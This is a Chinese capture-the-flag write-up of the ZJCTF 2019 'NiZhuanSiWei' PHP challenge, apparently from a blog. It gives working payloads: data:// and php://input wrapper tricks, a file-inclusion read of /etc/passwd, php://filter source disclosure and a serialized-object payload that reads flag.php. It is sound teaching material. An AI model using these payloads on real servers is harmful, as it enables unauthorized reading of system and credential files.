[ZJCTF 2019]NiZhuanSiWei1

[ZJCTF 2019]NiZhuanSiWei1

预测试

打开网页就是代码:

 <?php  
 $text = $_GET["text"]; 
 $file = $_GET["file"]; 
 $password = $_GET["password"]; 
 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){   
 	echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";   
 	if(preg_match("/flag/",$file)){     
 		echo "Not now!";     
 		exit();   
 	}else{     
 		include($file); //useless.php     
 		$password = unserialize($password);     
 		echo $password;   
 	} 
 }else{   
 	highlight_file(__FILE__); 
 } 
 ?> 
data:// || php://input 伪协议的使用

根据源码,我们传入的 GET 参数 text 会经过一个判断:

 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

已知传入的 text 是一个变量,而不是文件,file_get_contents 只能读文件,如果直接传入:?text=welcome%20to%20the%20zjctf 是无法成功的。

要想通过这个判断,可以有两种方式。

方法一:data:// 伪协议
?text=data://text/plain,welcome%20to%20the%20zjctf

data:// 伪协议可以把数据编码成文本格式,相当于变成一个文件。

方法二:php://input 伪协议

url 中传入:?text=php://input
同时在请求体中添加: welcome to the zjctf

如下所示:

POST /?text=php://input HTTP/1.1
Host: 93a9918c-ae3e-493e-ac1e-333e8d9ed147.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Content-Length: 20
Origin: moz-extension://fdce6f23-0f50-42b3-ae0b-deef3c01b5f5
Connection: close

welcome to the zjctf

在 PHP 中,php://input 是一个只读流,它允许你访问原始的 HTTP 请求体。在接收到 text=php://input 的内容后,file_get_contents 便会去读取请求体的内容。这里 GET 和 POST 方法都是可以的,GET 方法也可以有请求体。

读取 /etc/passwd 文件

对于 file 参数的过滤只有:

if(preg_match("/flag/",$file))

这一行,然后直接 include 。

这个没什么用,但是好玩:

?text=php://input&file=/etc/passwd #请求体 welcome to the zjctf

返回结果:
在这里插入图片描述

使用 php://filter 伪协议读取 useless.php 文件

直接 file=useless.php 读不出来的话肯定要试试 php://filter 伪协议了。

传入:

?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

返回了一串 base64 编码,解码后看到源代码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

?> 
PHP 反序列化

看第一个文件中有:

$password = unserialize($password);

肯定要用到 PHP 反序列化。

提示中给到了有 flag.php 这个文件,但是通过 file 不好读,被过滤了。那么可以利用 Flag 类中的 file_get_contents 函数来读。

构造 payload :

class Flag{  //flag.php  

  public $file = "php://filter/read=convert.base64-encode/resource=flag.php";  

}

$demo = new Flag;

echo serialize($demo);

这里如果直接读 flag.php 的话看不到 flag ,所以依然是通过 php://filter 读取后再解码。

这里有个点需要说明一下,就是必须通过 file 将 useless.php 文件包含进来,这样 password 反序列化才能成功。

所以最终的 payload 是:

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";} 

在这里插入图片描述

相关推荐

  1. [COCI2018-2019#1] Zamjena 解题记录

    2023-12-20 22:24:02       17 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-20 22:24:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-20 22:24:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-20 22:24:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-20 22:24:02       20 阅读

热门阅读

  1. uniapp组件和周期的知识点以及怎么使用

    2023-12-20 22:24:02       37 阅读
  2. uni-app内容

    2023-12-20 22:24:02       36 阅读
  3. C#基础——字典、结构体和枚举

    2023-12-20 22:24:02       36 阅读
  4. 展开说说:Android之常用的延时执行策略

    2023-12-20 22:24:02       26 阅读
  5. android —— PopupWindow

    2023-12-20 22:24:02       34 阅读
  6. HttpUtils——助力高效网络通信

    2023-12-20 22:24:02       36 阅读
  7. Vue的双向数据绑定原理

    2023-12-20 22:24:02       46 阅读
  8. 如何在Python中执行点分类任务

    2023-12-20 22:24:02       43 阅读